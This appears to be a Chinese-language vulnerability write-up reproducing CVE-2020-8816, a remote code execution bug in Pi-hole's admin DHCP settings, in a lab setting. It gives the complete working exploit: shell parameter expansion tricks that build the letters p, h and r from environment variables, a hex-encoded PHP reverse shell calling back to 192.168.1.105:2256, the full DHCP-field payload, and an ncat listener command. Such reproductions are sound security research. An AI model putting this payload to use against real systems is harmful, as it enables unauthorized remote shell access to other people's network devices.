binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现( 三 )
本文插图
很遗憾 , 没有h字符 , 看来还需要找其他环境变量 。 我在env命令的执行结果中找到了PWD变量 , 输入试一下:
本文插图
里面有h和r , 所以 , 我可以使用PATH和PWD两个环境变量 , 获得p、h、r这几个字符 。
我使用了Shell参数扩展对这两个变量值进行截取:
p: SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???} h: B=${PWD#/???/???/}&&H=${B%???/?????} r: C=${PWD#/??}&&R=${C%/???/????/?????}
根据模式匹配的规则 , 应该可以写出更简洁的方法 , 但是我的系统中好多shell选项都没有开启 , 考虑到通用性 , 我就直接选择了最傻瓜的匹配方式 。
3、获得反向shell
$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'
先把变量换成对应的字符 , 注意上面的$IFS是shell的一个内定变量 , 默认为 , 这里代替空格 。
php -r 'exec(hex2bin("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"))'
然后替换hex2bin的执行结果(转义符是我后加的):
php -r 'exec(php -r \'$sock=fsockopen("192.168.1.105",2256);exec("/bin/sh -i <&3 >&3 2>&3");\')'
这段代码就可以获得一个反向shell 。
漏洞复现
在主机的命令行中输入:
ncat -nlvp 2256
进入监听模式 , 等待其他机器的连接 。
返回虚拟机 , 在浏览器中打开http://192.168.1.107/admin , 登录 , 选择Setting->DHCP选项卡 , 输入payload:
aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&
返回主机 , 可以看到主机收到了连接 , 可以执行命令了:
本文插图
参考文献
【binaryCVE-2020-8816: Pi-hole中的远程代码执行漏洞分析及复现】*本文作者:s1len0eye , 转载请注明来自FreeBuf.COM
推荐阅读
- 恋云|每个恒星系都是太空中的一座孤岛
- 生活海风说|Firefox 用户将很快能够获得把浏览器中的密码导出至本地的功能
- 摄影小强|存储先行者,光威SSD固态硬盘使用中的小惊喜
- 腾讯科技|华为P40 Pro+影像评测:出色的硬件带来意料之中的完美拍照体验
- 凤凰网四川综合|商界小李飞刀,杨景中的成功之路
- 无人机|无人机在环境监测中的应用
- 手机|自带音箱不怕被虐的三防手机:AGM H2上手评测,老年机中的旗舰
- 大粒菜头890|5G手机中的平价机
- 哈尔滨工业大学|点亮心中的知识殿堂 | 哈工大“新”图书馆等你回来!
- 科技数码迷|大V眼中的上半年机皇:三星S20系列被忽略,华为P40Pro排第三
